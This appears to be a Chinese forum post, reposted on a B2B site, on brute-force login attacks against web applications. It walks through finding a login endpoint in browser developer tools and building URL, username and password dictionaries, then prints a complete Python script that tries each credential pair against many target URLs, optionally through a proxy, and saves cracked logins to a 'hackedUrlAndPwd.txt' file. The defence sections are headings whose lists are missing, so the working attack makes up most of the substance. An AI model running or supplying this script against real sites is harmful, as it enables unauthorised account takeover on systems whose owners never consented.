ToB企服应用市场:ToB评测及商务社交产业平台

标题: 前端安全问题——暴破登录 [打印本页]

作者: 大连密封材料    时间: 2023-3-20 14:26
标题: 前端安全问题——暴破登录
前端安全问题——暴破登录

声明:本文仅供学习和研究用途,请勿用作违法犯罪之事,若违反则与本人无关。
暴力破解登录是一种常见的前端安全问题,属于未授权访问安全问题的一种,攻击者尝试使用不同的用户名和密码组合来登录到受害者的账户,直到找到正确的用户名和密码组合为止。攻击者可以使用自动化工具,如字典攻击、暴力攻击等来加快攻击速度。这种攻击通常针对用户使用弱密码、没有启用多因素身份验证等情况。
一、发现问题

常见情况

Web 应用的登录认证模块容易被爆破登录的情况有很多,以下是一些常见的情况:
常用工具

为了检测 Web 应用的登录认证模块是否存在爆破登录漏洞,可以使用以下工具:
需要注意的是,这些工具只应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。
二、分析问题

对目标 Web 应用进行爆破登录攻击实例:
1. 通过 Google Chrome 开发者工具查看登录请求接口地址、请求参数和响应数据等信息

可以在登录界面随意输入一个账号和密码,然后点击登录,即可在开发者工具的网络面板查看登录接口相关信息。
2. 构建目标 Web 应用 URL 字典、账号字典和密码字典

3. 暴力破解登录代码示例

Python 脚本代码示例:
  1. from io import TextIOWrapper
  2. import json
  3. import logging
  4. import os
  5. import time
  6. import requests
  7. from requests.adapters import HTTPAdapter
  8. g_input_path = './brute_force_login/input/'
  9. g_output_path = './brute_force_login/output/'
  10. def log():
  11.     # 创建日志文件存放文件夹
  12.     root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
  13.     log_dir = os.path.join(root_dir,  'logs', 'brute_force_login')
  14.     if not os.path.exists(log_dir):
  15.         os.mkdir(log_dir)
  16.     # 创建一个日志器
  17.     logger = logging.getLogger("logger")
  18.     # 设置日志输出的最低等级,低于当前等级则会被忽略
  19.     logger.setLevel(logging.INFO)
  20.     # 创建处理器:sh为控制台处理器,fh为文件处理器
  21.     sh = logging.StreamHandler()
  22.     # 创建处理器:sh为控制台处理器,fh为文件处理器,log_file为日志存放的文件夹
  23.     log_file = os.path.join(log_dir, "{}.log".format(
  24.         time.strftime("%Y-%m-%d", time.localtime())))
  25.     fh = logging.FileHandler(log_file, encoding="UTF-8")
  26.     # 创建格式器,并将sh,fh设置对应的格式
  27.     formator = logging.Formatter(
  28.         fmt="%(asctime)s %(levelname)s %(message)s", datefmt="%Y/%m/%d %X")
  29.     sh.setFormatter(formator)
  30.     fh.setFormatter(formator)
  31.     # 将处理器,添加至日志器中
  32.     logger.addHandler(sh)
  33.     logger.addHandler(fh)
  34.     return logger
  35. globalLogger = log()
  36. def myRequest(url: str, method: str, data, proxyIpPort="localhost", authorizationBase64Str=''):
  37.     # 请求头
  38.     headers = {
  39.         "content-type": "application/json",
  40.         'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',
  41.     }
  42.     if authorizationBase64Str != '':
  43.         headers['Authorization'] = 'Basic ' + authorizationBase64Str
  44.     proxies = {}
  45.     if proxyIpPort != "localhost":
  46.         proxies = {
  47.             "http": "http://" + proxyIpPort,
  48.             "https": "http://" + proxyIpPort
  49.         }
  50.     try:
  51.         s = requests.Session()
  52.         # 配置请求超时重试
  53.         s.mount('http://', HTTPAdapter(max_retries=1))
  54.         s.mount('https://', HTTPAdapter(max_retries=1))
  55.         response = None
  56.         # 构造发送请求
  57.         if method == 'get':
  58.             response = s.get(url=url, headers=headers, data=data,
  59.                             proxies=proxies,  timeout=(3.05, 1))
  60.         elif method == 'post':
  61.             response = s.post(url=url, headers=headers, data=data,
  62.                             proxies=proxies,  timeout=(3.05, 1))
  63.         else:
  64.             globalLogger.warning("Request Method Invalid")
  65.             return 'RequestException'
  66.         # 响应数据
  67.         globalLogger.info(
  68.             "MyRequest Request ResponseText:\n {}".format(response.text))
  69.         return response.text
  70.     except requests.exceptions.RequestException as e:
  71.         globalLogger.warning("RequestException: {}".format(e))
  72.         return 'RequestException'
  73. def getStrListFromFile(fileContent: TextIOWrapper):
  74.     return fileContent.read().rstrip('\n').replace('\n', ';').split(';')
  75. def attackTargetSite(url: str, usr: str, pwd: str):
  76.     reStr = 'FAIL'
  77.     fullUrl = url + 'webapp/web/login'
  78.     globalLogger.info("attackTargetSite Request Url: {}".format(fullUrl))
  79.     reqData = {
  80.         "name": usr,
  81.         "password": pwd
  82.     }
  83.     resp = myRequest(fullUrl, 'post', json.dumps(reqData).encode("utf-8"))
  84.     if '"status":200' in resp:
  85.         reStr = 'SUCCESS'
  86.     elif 'RequestException' in resp:
  87.         reStr = 'RequestException'
  88.     return reStr
  89. def attack():
  90.     try:
  91.         input_path = g_input_path
  92.         # 读取url文件
  93.         input_url_filename = 'url.txt'
  94.         urlFileContent = open(os.path.join(
  95.             input_path, input_url_filename), 'r')
  96.         url_list = getStrListFromFile(urlFileContent)
  97.         # 读取用户名字典文件
  98.         input_usr_filename = 'usr.txt'
  99.         usrFileContent = open(os.path.join(
  100.             input_path, input_usr_filename), 'r')
  101.         usr_list = getStrListFromFile(usrFileContent)
  102.         # 读取密码字典文件
  103.         input_pwd_filename = 'pwd.txt'
  104.         pwdFileContent = open(os.path.join(
  105.             input_path, input_pwd_filename), 'r')
  106.         pwd_list = getStrListFromFile(pwdFileContent)
  107.         # 输出文件路径及名称
  108.         output_path = g_output_path
  109.         output_hacked_url = 'hackedUrlAndPwd.txt'
  110.         with open(os.path.join(output_path, output_hacked_url), 'w') as output_file:
  111.             i = 0
  112.             for url in url_list:
  113.                 i += 1
  114.                 j = 0
  115.                 for usr in usr_list:
  116.                     j += 1
  117.                     resp = 'FAIL'
  118.                     k = 0
  119.                     for pwd in pwd_list:
  120.                         k += 1
  121.                         resp = attackTargetSite(url, usr, pwd)
  122.                         if resp == 'SUCCESS':
  123.                             output_file.write(url + '\n')
  124.                             output_file.write('{}:{}\n'.format(usr, pwd))
  125.                             # 数据实时写入文件(无缓冲写入)
  126.                             output_file.flush()
  127.                             pStr = "[SUCCESS {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] success".format(
  128.                                 i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)
  129.                             globalLogger.info(pStr)
  130.                             break
  131.                         elif 'RequestException' in resp:
  132.                             pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(
  133.                                 i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)
  134.                             globalLogger.info(pStr)
  135.                             break
  136.                         else:
  137.                             pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(
  138.                                 i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)
  139.                             globalLogger.info(pStr)
  140.                     if resp == 'SUCCESS':
  141.                         break
  142.                     elif 'RequestException' in resp:
  143.                         break
  144.     finally:
  145.         if urlFileContent:
  146.             urlFileContent.close()
  147.         if usrFileContent:
  148.             usrFileContent.close()
  149.         if pwdFileContent:
  150.             pwdFileContent.close()
  151.         if pipFileContent:
  152.             pipFileContent.close()
  153. attack()
复制代码
上述 Python 代码中导入了 io、json、logging、os、time 和 requests 模块。 log 函数用于设置日志文件的路径和格式,以及创建日志记录器,并返回该记录器。 myRequest 函数用于发送 HTTP 请求,并返回响应文本。函数 attackTargetSite 用于攻击目标网站的登录页面。最后,函数 attack 读取 url.txt、usr.txt 和 pwd.txt 文件,以此作为参数进行攻击,并将破解的网站和密码保存到 hackedUrlAndPwd.txt 文件中。
成功破解的目标站点将 URL、账号和密码保存到 hackedUrlAndPwd.txt 文件中,如:
  1. http://123.123.123.123:1234/
  2. admin:1234
复制代码
其中, http://123.123.123.123:1234/ 为目标 Web 应用站点的 URL,admin 为账号,1234 为密码。
三、解决问题

防范措施

以下是一些预防暴力破解登录的措施:
防御工具

以下是一些应对暴力破解登录的常用工具:
需要注意的是,这些工具仅应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。在进行安全测试时,应获得相关方的授权和许可,并遵循合适的安全测试流程和规范。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4